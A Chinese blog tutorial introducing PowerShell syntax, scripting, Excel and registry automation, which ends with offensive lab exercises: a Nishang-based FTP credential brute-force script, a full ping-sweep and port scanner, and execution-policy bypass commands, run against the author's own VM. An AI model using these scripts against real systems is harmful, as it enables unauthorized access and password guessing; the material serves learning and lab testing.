• PowerShell入门学习


    一、概要

    • Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。
    • powershell需要.NET环境的支持,同时支持.NET对象。之所以将Powershell 定位为Power,是因为它完全支持对象,且其可读性,易用性,可以位居当前所有shell之首
    • powershell有四个版本,分别为1.0,2.0,3.0 ,4.0
      • 在window7或者Windows Server 2008中,内置有PowerShell 2.0,可以升级为3.0,4.0。
      • 在Windows 8 或者Windows server 2012中,内置有PowerShell 3.0,可以升级为4.0。
      • 在Windows 8.1或者Windows server 2012 R2中,默认是4.0版本。
    • 以下知识点通过PowerShell 在线教程总结,更详细的可以进入到链接中学习!

    二、PowerShell命令集

    1、命令集cmdlets

    • 类似于UNIX和CMD,PowerShell也有自己的命令———cmdlets是Powershell的内部命令,cmdlet的类型名为System.Management.Automation.CmdletInfo,在网上我找到了其中文说明,再用到的时候可以查找

    2、别名

    • 在上面我们可以发现cmdlet的名称由一个动词和一个名词组成,功能一目了然,但长度却过长。这时我们就需要用到“别名”了!Powershell内部也实现了很多常用命令的别名。例如Get-ChildItem,列出当前的子文件或目录。它有两个别名:lsdir,这两个别名来源于unix的shell和windows的cmd。
    • 可以通过Get-Alias -name 别名查询别名所指的真实cmdlet命令
      image
    • 查看可用的别名:ls alias:Get-Alias
    • 查看所有别名和指向cmdlet的别名的个数(按降序排列):ls alias: | Group-Object definition | sort -Descending Count
      image
      上图为一部分结果

    三、Powershell语法

    1、变量

    • 变量都是以&开头的,剩余字符可以是数字、字母、下划线的任意字符,且不区分大小写。
    • 变量赋值符=,其几乎可以把任何数据赋值给一个变量
      image
    • 交换两个变量的值
      image
    • 自动变量
      • 一旦打开Powershell就会自动加载的变量
      • 列表传送->
    • 指定类型定义变量:[变量类型]$变量名

    2、数组

    • 创建数组
      • $array = 1,2,3,4
      • $array = 1..4
      • $array=1,"2017",([System.Guid]::NewGuid()),(get-date)
      • $a=@() # 空数组
      • $a=,"1" # 一个元素的数组
    • 访问数组:$array[0]
      image
    • 判断一个变量是否为数组:$test -is [array]
    • 数组的追加:$books += "元素4"
    • 强类型数组:[int[]] $nums=@()
    • 哈希表:使用数字寻址或数据类型进行寻址
      • 创建哈希表:$stu=@{ Name = "小明";Age="12";sex="man" }
      • 如上可使用$stu["Name"]访问对应Name的值
      • 可以在创建哈希表时就使用数组:$stu=@{ Name = "小明";Age="12";sex="男";Books="三国演义","围城","哈姆雷特" }
      • 哈希表的插入与删除:
        $Student=@{}
        $Student.Name="hahaha"
        $stu.Remove("Name")    
        

    3、条件判断

    • 比较运算符
      • -eq:等于
      • -ne:不等于
      • -gt:大于
      • -ge:大于等于
      • -lt:小于
      • -le:小于等于
      • -contains:包含
      • -notcontains:不包含
    • 布尔运算
      • -and:和
      • -or:或
      • -xor:异或
      • -not:逆
    • if-else语句
      if(条件满足){
        如果条件满足就执行代码
      }
      else
      {
        如果条件不满足
      }
      
    • 循环语句while
      while($n -gt 0){
          code
      }
      

    四、Powershell函数

    1、定义函数

    • 函数的结构由三部分组成:函数名,参数,函数体
      Function FuncName (args[])
      {
          code;
      }
      
    • 删除函数
      • 控制台定义的函数只会在当前会话生效,一旦控制台退出,会自动消失。
      • 在不关闭控制台的条件下删除一个已经定义好的函数,可是使用虚拟驱动器的方法:del Function:函数名

    2、函数的参数

    • 万能参数:给一个函数定义参数最简单的是使用$args这个内置的参数。它可以识别任意个参数。尤其适用哪些参数可有可无的函数。$args是一个数组类型。
      function sayHello
      {
        if($args.Count -eq 0)
        {
            "No argument!"
        }
        else
        {
            $args | foreach {"Hello,$($_)"}
        }
      }
      
      • 无参数调用时:sayHello
      • 一个参数调用:sayHello LiLi
      • 多个参数调用时:sayHello LiLi Lucy Tom
    • 设置参数名称并定义默认值
      function StringContact($str1="moss",$str2="fly")
      {
          return $str1+$str2
      }
      
    • Return语句
      • Powershell会将函数中所有的输出作为返回值,但是也可以通过return语句指定具体的我返回值。
      • Return语句会将指定的值返回,同时也会中断函数的执行,return后面的语句会被忽略。

    3、异常处理

    Try{
        $connection.open()
        $success = $true
    }Catch{
        $success = $false
    }
    

    4、支持的函数

    • Powershell已经提供了许多用户能够使用的预定义函数,这些函数可以通过Function:PSDrive虚拟驱动器查看
      image
    • 作用
      • Clear-Host:清除屏幕的缓存
      • help,man:查看命令的帮助文档
      • mkdir,md:通过new-Item创建子目录
      • more:分屏输出管道结果
      • prompt:返回提示文本
      • TabExpansion:Tab键的自动完成提示
      • X:调用Set-Location定位到指定的驱动器根目录

    五、Powershell脚本

    • 编写
      • 如果脚本不是很长,可以直接在控制台中要执行的语句重定向给一个脚本文件。
        image
      • 非常方便的还是用文本文档编辑器,编辑完保存为.ps1后缀即可。
    • 运行
      • .路径文件名
      • 将脚本的执行语句保存为别名,可以像执行一个命令一样执行一个脚本
        image
    • PowerShell也有自己的集成开发环境——PowerShell ISE来编写脚本,也就是我们常见的IDE环境,用起来很方便~我参考学习了如何利用Powershell ISE调试PS脚本
    • cmd本地权限绕过执行:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

    六、Powershell管道和重定向

    1、管道

    • 把上一条命令的输出作为下一条命令的输入
    • 例:通过ls获取当前目录的所有文件信息,然后通过Sort -Descending对文件信息按照Name降序排列,最后将排序好的文件的NameMode格式化成Table输出
      image

    2、重定向

    • 把命令的输出保存到文件中,>为覆盖,>>为追加。
      image

    七、应用

    1、Office互操作

    • PowerShell可以通过COM接口和Office程序交互,最常用的是操作Excel,下面我们开始学习操作Excel。
    • 创建一个可见的Excel对象:$excel.Visible=$true
    • 打开一个现成的工作簿:$workbook = $excel.Workbooks.Open("XXX.xlsx")
    • 创建一个新的工作簿:$workbook = $excel.Workbooks.Add()
    • 选择某一个工作表(这里的下标从一开始):$worksheet = $workbook.Worksheets.Item(1)
    • 保存修改后的工作表:$workbook.SaveAs("D:Desktophello.xlsx")
    • 操作数据
      • 利用以上语法我们对已存在的一个Excel表格进行数据的写入。
        • 打印九九乘法表
          $excel = New-Object -ComObject Excel.Application
          $workbook = $excel.Workbooks.Open("C:UserszyxDesktop1.xlsx")
          $worksheet = $workbook.Worksheets.Item(1)
          for ($i = 1; $i -le 9; $i++) {
             # 第一行
             $worksheet.Cells.item(1, $i + 1) = $i
             # 第一列
             $worksheet.Cells.item($i + 1, 1) = $i
             # 它们的乘积
             for ($j = 1; $j -le 9; $j++) {
               $worksheet.Cells.item($i + 1, $j + 1) = $i * $j
            }
          }
          
        • 命令行运行上面脚本
          image
      • 读取一个Excel表格中的数据
        $excel = New-Object -ComObject Excel.Application
        $workbook = $excel.Workbooks.Open("C:UserszyxDesktop1.xlsx")
        $worksheet = $workbook.Worksheets.Item(1)
        for ($i = 1; $i -le 10; $i++) {
           for ($j = 1; $j -le 10; $j++) {
              Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t"
           }
           Write-Host
        }
        
        里面的`t是PowerShell中的制表符,每个数据之间使用制表符来分隔;write-host为写到控制台,-NoNewline表示显示在控制台的信息不以换行结尾。
        image

    2、文件管理

    • 文件管理命令。
      • Set-Location:别名cd,切换工作目录。
      • Get-Location:别名pwd,获取当前工作目录。
      • Get-ChildItem:获取当前目录下的所有文件。
      • Get-Item:获取给定文件的信息。
      • Get-Command -Noun item:查看所有文件操作的命令。
    • 如我们查看桌面上某个应用的信息,可以使用Get-Item .名称.lnk(因为基本为快捷方式所以需要lnk后缀)
      image

    3、注册表操作

    • 读取注册表
      • 工作目录切换到某个注册表内:Set-Location 'HKCU:Control PanelDesktopMuiCached'
      • 获取当前目录下注册表键的值:Get-Item .
        image
      • 获取当前注册表项的属性值:Get-ItemProperty . MachinePreferredUILanguages
    • 编辑注册表项
      • 我们修改一个安全的注册表:$path = "HKCU:Control PanelDesktop"
      • 新建注册表项:New-Item –Path $path –Name HelloKey
      • 修改项的属性:Set-ItemProperty -path $pathhellokey -name Fake -Value fuck
        image
      • 删除项的属性:Remove-ItemProperty -path $pathhellokey -name Fake
      • 删除整个注册表项:Remove-Item -path $pathhellokey -Recurse

    4、将自己编写的简单脚本变成工具供他人使用

    • 我们使用PowerShell自带的开发工具PowerShell ISE来编写脚本
    • 我们首先借用WMI对象写一个可以输出计算机C盘信息的命令:Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
    • 接下来我们指定某个计算机:Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
    • 我们的目的是给别人这个脚本,对方直接调用这个脚本后直接输入命令就可以用啦
    • 现在将其写入一个脚本,我们可以使用ctrl+J看到脚本大概的格式并运用,内容如下:
      <#
      .Synopsis
         This is for diskinfo
      .DESCRIPTION
         This is for remote computer
      .EXAMPLE
         diskinfo -computername remote
      #>
      function Get-diskinfo
      {
        [CmdletBinding()]
        Param
        (
            # Param 帮助描述
            [Parameter(Mandatory=$true)]
            [string[]]$ComputerName,
            $bogus
        ) 
      
        Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"} 
      }
      
    • 我们可以运行脚本.Diskinfo.ps1,通过Get-help Diskinfo -full查看使用解释等等
    • 现在我们就可以使用我们写的这个简单的脚本工具了
      • 调用脚本:. .Diskinfo.ps1
      • 使用:get-diskinfo -ComputerName localhost
        image

    5、服务爆破

    • 借助Nishang中的渗透脚本,我们对FTP爆破

    • 首先在我的虚拟机win7中开启ftp服务,参考win7下如何建立ftp服务器

    • 测试ftp

      • 网页输入ftp://IP地址会提示输入用户名和密码
        image
      • 可以登陆进去即可
    • 修改脚本,内容如下:

      function Invoke-BruteForce
      {
      
        [CmdletBinding()] Param(
            [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
            [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
            [String]
            $ComputerName,
      
            [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)]
            [Alias('Users')]
            [String]
            $UserList,
      
            [Parameter(Position = 2, Mandatory = $true)]
            [Alias('Passwords')]
            [String]
            $PasswordList,
      
            [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")]
            [String]
            $Service = "FTP",
      
            [Parameter(Position = 4, Mandatory = $false)]
            [Switch]
            $StopOnSuccess,
      
            [Parameter(Position = 6, Mandatory = $false)]
            [UInt32]
            $Delay = 0
        )
        
        Process
        {
            # Write-Verbose用于打印详细信息
            Write-Verbose "Starting Brute-Force and Delay is $Delay."
            
            # 获取用户名与密码字典
            $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
            $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
            if (!$usernames) { 
                $usernames = $UserList
                Write-Verbose "UserList file does not exist."
                Write-Verbose $usernames
            }
            if (!$passwords) {
                $passwords = $PasswordList
                Write-Verbose "PasswordList file does not exist."
                Write-Verbose $passwords
            }
            
            # Brute Force FTP
            if ($service -eq "FTP")
            {
                # 机器名的处理:若ftp://开始直接获取名字,若没有直接加上
                if($ComputerName -notMatch "^ftp://")
                {
                    $source = "ftp://" + $ComputerName
                }
                else
                {
                    $source = $ComputerName
                }
                Write-Output "Brute Forcing FTP on $ComputerName"
      
                :UsernameLoop foreach ($username in $usernames)
                {
                    foreach ($Password in $Passwords)
                    {
                        try
                        {   
                            # 调用.net中的FTP库进行连接
                            $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                            $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                            
                            # 通过Verbose输出的信息
                            Write-Verbose "Trying $userName : $password"
      
                            # 进行认证连接
                            $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
                            
                            # 获取返回信息
                            $result = $ftpRequest.GetResponse()
                            $message = $result.BannerMessage + $result.WelcomeMessage
                            
                            # 打印信息到控制台
                            Write-Output "Match $username : $Password"
                            $success = $true
      
                            # 判断是否要得到结果立刻退出
                            if ($StopOnSuccess)
                            {
                                break UsernameLoop
                            }
                        }
      
                        catch
                        {
                            $message = $error[0].ToString()
                            $success = $false
                        }
                        # 延时爆破
                        Start-Sleep -Seconds $Delay
                    }
                }
            } 
        }
      
      }
      

      阅读相关手册对一些参数进行解读

      属性名 可选参数值 属性说明
      CmdletBinding类 定义PowerShell的行为
      Parameter类 定义的参数为静态参数
      Mandatory $True, $False 指定参数是否是必要参数,强制用户输入
      Position 整数 指定参数位置,如果用户没有指定具体参数名称,那么PowerShell将根据该值按序填充相应的参数
      ValueFromPipeline $True, $False 是否接受来自管道中的值
      Alias 字符串 指定参数的另一个名称
      ValidateSet 集合 检验参数值是否在指定的属性集合中
      ErrorAction 抑制内置的错误消息,将ErrorAction设置为“SilentlyContinue”,错误信息就不会输出了
    • 运行爆破:

      • 先调用该脚本:. .ps.ps1
      • 开始爆破:Invoke-BruteForce -ComputerName localhost地址 -UserList C:UserszyxDesktopusername.txt -PasswordList C:UserszyxDesktoppass.txt -Service ftp
      • 也可以直接用这个命令:powershell –exec bypass –Command "& {Import-Module 'C:UserszyxDesktopps.ps1';Invoke-BruteForce -ComputerName localhost地址 -UserList C:UserszyxDesktopusername.txt -PasswordList C:UserszyxDesktoppass.txt -Service ftp }"
    • 结果
      image

    5、端口扫描器

    • 以下脚本使用CmdletBinding的方法,来设置参数的形式
    • 主机存活检测使用Ping来检测(ICMP)
    • 端口扫描调用.NET的Socket来进行端口连接,如果连接建立代表端口连接成功
      function PortScan {
      [CmdletBinding()] Param(
            [parameter(Mandatory = $true, Position = 0)]
            [ValidatePattern("d{1,3}.d{1,3}.d{1,3}.d{1,3}")]
            [string]
            $StartAddress,
      
            [parameter(Mandatory = $true, Position = 1)]
            [ValidatePattern("d{1,3}.d{1,3}.d{1,3}.d{1,3}")]
            [string]
            $EndAddress,
            
            [switch]
            $GetHost,
      
            [switch]
            $ScanPort,
      
            [int[]]
            $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
            
            [int]
            $TimeOut = 100
        )  
        Begin {
            # 开始之前先调用Ping组件
            $ping = New-Object System.Net.Networkinformation.Ping
        }
        Process {
            # 四层循环获取解析IP地址
            foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
                foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
                foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
                    foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
                        # write-progress用于在shell界面显示一个进度条
                        write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
                        # 通过Ping命令发送ICMP包探测主机是否存活
                        $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
                        if($pingStatus.Status -eq "Success") {
                            if($GetHost) {
                                # 本分支主要解决主机名的问题
                                # write-progress用于在shell界面显示一个进度条
                                write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
                                # 获取主机名
                                $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
                            }
                            if($ScanPort) {
                                # 定义一个开放的端口数组, 存储开放的端口
                                $openPorts = @()
                                for($i = 1; $i -le $ports.Count;$i++) {
                                    $port = $Ports[($i-1)]
                                    # write-progress用于在shell界面显示一个进度条
                                    write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
                                    # 定义一个Tcp的客户端
                                    $client = New-Object System.Net.Sockets.TcpClient
                                    # 开始连接
                                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                                    if($client.Connected) {
                                        # 加入开放的端口
                                        $openPorts += $port
                                    } else {
                                    # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
                                        Start-Sleep -Milli $TimeOut
                                        if($client.Connected) {
                                            $openPorts += $port
                                        }
                                    }
                                    $client.Close()
                                }
                            }
                            if($GetHost) {
                                # 获取主机名
                                $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
                            }
                            # 返回对象-哈希表
                            New-Object PSObject -Property @{
                            IPAddress = "$a.$b.$c.$d";
                            HostName = $hostName;
                            Ports = $openPorts
                            } | Select-Object IPAddress, HostName, Ports
                        }
                    }
                }
                }
            }
         }
      }
      
    • 开始扫描:
      • 调用脚本:. .PortSan.ps1
      • 扫描:PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
      • 也可以使用:powershell –exec bypass –Command "& {Import-Module 'C:UserszyxDesktopPortScan.ps1';PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
    • 扫描结果
      image

    参考资料

  • 相关阅读:
    zz 通过INFORMATION_SCHEMA.INNODB_TRX、INNODB_LOCKS、INNODB_LOCK_WAITS 三个表获取事务与锁的信息
    binlog在并发状态下的记录
    关于mysql的metadata lock
    测试相关
    数组
    方法、递归算法
    顺序、选择、循环结构
    Scanner
    包机制、javadoc
    变量、常量
  • 原文地址:https://www.cnblogs.com/besty-zyx/p/11044702.html
Copyright © 2020-2023  润新知